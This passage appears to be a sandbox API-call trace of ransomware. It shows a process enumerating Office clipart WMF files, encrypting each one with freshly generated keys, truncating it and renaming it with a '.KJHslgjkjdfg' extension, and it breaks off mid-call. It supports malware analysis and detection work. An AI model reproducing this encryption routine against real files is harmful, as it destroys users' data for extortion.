1 [0203.679] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.679] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.679] GetProcessHeap () returned 0x2ef0000 [0203.679] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.679] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.679] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.679] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.679] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.679] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.680] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.680] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.680] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.680] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.680] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.680] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9d26, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9d26, lpOverlapped=0x0) returned 1 [0203.681] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9d30, dwBufLen=0x9d30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9d30) returned 1 [0203.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.681] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9d30, lpOverlapped=0x0) returned 1 [0203.682] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.682] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.682] SetEndOfFile (hFile=0x130) returned 1 [0203.685] GetProcessHeap () returned 0x2ef0000 [0203.685] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.685] GetProcessHeap () returned 0x2ef0000 [0203.685] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.685] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf.kjhslgjkjdfg")) returned 1 [0203.686] CloseHandle (hObject=0x130) returned 1 [0203.686] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23edc800, ftCreationTime.dwHighDateTime=0x1be3d01, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23edc800, ftLastWriteTime.dwHighDateTime=0x1be3d01, nFileSizeHigh=0x0, nFileSizeLow=0x668c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0197983.WMF", cAlternateFileName="")) returned 1 [0203.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.688] GetProcessHeap () returned 0x2ef0000 [0203.688] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.688] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.688] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.688] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.690] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.690] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.690] GetProcessHeap () returned 0x2ef0000 [0203.690] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.690] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.690] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.690] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.690] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.690] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.691] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.691] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.691] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.691] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.691] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x668c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x668c, lpOverlapped=0x0) returned 1 [0203.692] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6690, dwBufLen=0x6690 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6690) returned 1 [0203.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.692] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6690, lpOverlapped=0x0) returned 1 [0203.693] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.693] SetEndOfFile (hFile=0x130) returned 1 [0203.695] GetProcessHeap () returned 0x2ef0000 [0203.695] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.695] GetProcessHeap () returned 0x2ef0000 [0203.695] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.696] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf.kjhslgjkjdfg")) returned 1 [0203.697] CloseHandle (hObject=0x130) returned 1 [0203.697] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9fe6800, ftCreationTime.dwHighDateTime=0x1c0323c, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9fe6800, ftLastWriteTime.dwHighDateTime=0x1c0323c, nFileSizeHigh=0x0, nFileSizeLow=0x849c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198016.WMF", cAlternateFileName="")) returned 1 [0203.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.698] GetProcessHeap () returned 0x2ef0000 [0203.698] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.698] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.698] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.698] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.700] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.700] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.700] GetProcessHeap () returned 0x2ef0000 [0203.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.700] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.700] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.701] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.701] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.701] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.701] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.701] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.701] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.701] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.701] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x849c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x849c, lpOverlapped=0x0) returned 1 [0203.702] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x84a0, dwBufLen=0x84a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x84a0) returned 1 [0203.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.703] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x84a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x84a0, lpOverlapped=0x0) returned 1 [0203.703] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.703] SetEndOfFile (hFile=0x130) returned 1 [0203.706] GetProcessHeap () returned 0x2ef0000 [0203.706] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.706] GetProcessHeap () returned 0x2ef0000 [0203.706] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.706] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198016.wmf.kjhslgjkjdfg")) returned 1 [0203.707] CloseHandle (hObject=0x130) returned 1 [0203.708] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f94700, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71f94700, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x5cae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198020.WMF", cAlternateFileName="")) returned 1 [0203.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.708] GetProcessHeap () returned 0x2ef0000 [0203.708] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.709] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.709] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0203.714] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.714] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.714] GetProcessHeap () returned 0x2ef0000 [0203.714] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.714] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.714] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.714] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.714] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.714] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.714] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.715] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.715] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.715] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.715] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5cae, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5cae, lpOverlapped=0x0) returned 1 [0203.716] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5cb0, dwBufLen=0x5cb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5cb0) returned 1 [0203.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.717] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5cb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5cb0, lpOverlapped=0x0) returned 1 [0203.717] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.717] SetEndOfFile (hFile=0x130) returned 1 [0203.719] GetProcessHeap () returned 0x2ef0000 [0203.719] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.719] GetProcessHeap () returned 0x2ef0000 [0203.719] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf.kjhslgjkjdfg")) returned 1 [0203.721] CloseHandle (hObject=0x130) returned 1 [0203.721] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745ba100, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x745ba100, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x8860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198021.WMF", cAlternateFileName="")) returned 1 [0203.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198021.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198021.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.723] GetProcessHeap () returned 0x2ef0000 [0203.723] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.723] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.723] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.723] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.723] GetProcessHeap () returned 0x2ef0000 [0203.723] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.723] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.723] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.723] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.731] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.731] WriteFile (in: 